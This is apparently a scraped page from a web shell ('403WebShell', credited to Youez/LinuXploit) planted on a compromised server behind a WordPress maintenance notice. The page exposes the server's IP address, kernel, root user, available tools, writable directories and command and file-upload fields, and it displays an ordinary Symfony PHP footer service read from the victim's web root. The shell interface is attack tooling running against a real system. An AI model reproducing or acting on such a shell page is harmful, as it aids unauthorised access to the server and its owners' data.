WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
403WebShell
403Webshell
Server IP : 38.242.244.58  /  Your IP : 216.73.217.174
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux vmi1486879.contaboserver.net 5.4.0-166-generic #183-Ubuntu SMP Mon Oct 2 11:28:33 UTC 2023 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.19
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/sura/src/Service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/sura/src/Service/Footer.php
<?php
/**
 * Created by PhpStorm.
 * User: komu
 * Date: 17/04/19
 * Time: 22:10
 */

namespace App\Service;


use App\Entity\Invoice;
use App\Entity\Page;
use App\Entity\Payment;
use App\Entity\Resource;
use App\Entity\ResourcesType;
use App\Entity\Settting;
use App\Entity\Spectralsample;
use Doctrine\ORM\EntityManager;
use Doctrine\ORM\NonUniqueResultException;
use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
use Symfony\Component\Routing\Router;

class Footer
{
    private $em;
    private $router;

    public function __construct( EntityManager $em ,Router $router) {
        $this->em    = $em;
        $this->router    = $router;

    }

    public function getPages() {
        $conn = $this->em->getConnection();
        $sql  = "SELECT * FROM page";


        $stmt = $conn->prepare( $sql );
        $stmt->execute();

        return ( $stmt->fetchAll() );
    }
    public function getTermsPage() {
        $conn = $this->em->getConnection();
        /** @var Page $page */
        $page = $this->em->getRepository( Page::class )
            ->find(1);

        return $page;
    }public function getSettings() {
        $conn = $this->em->getConnection();
        /** @var Page $page */
        $page = $this->em->getRepository( Settting::class )
            ->find(1);

        return $page;
    }
    public function getResources() {
        $conn = $this->em->getConnection();
        /** @var Page $page */
        $resources = $this->em->getRepository( ResourcesType::class )
            ->findAll();

        return $resources;
    }
    public function getPrivacyPage() {
        $conn = $this->em->getConnection();
        /** @var Page $page */
        $page = $this->em->getRepository( Page::class )
            ->find(2);

        return $page;
    }

    public function getPage($slug)
    {
        //$slug = 'about';
        //$qb = $this->em->createQueryBuilder();
        try {
            return $this->em->createQueryBuilder()
                ->select('p')
                ->from(Page::class, 'p')
                ->where('p.slug LIKE :val')
                ->setParameter('val', $slug . '%')
                ->getQuery()
                ->getOneOrNullResult();
        } catch (NonUniqueResultException $e) {
        }
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit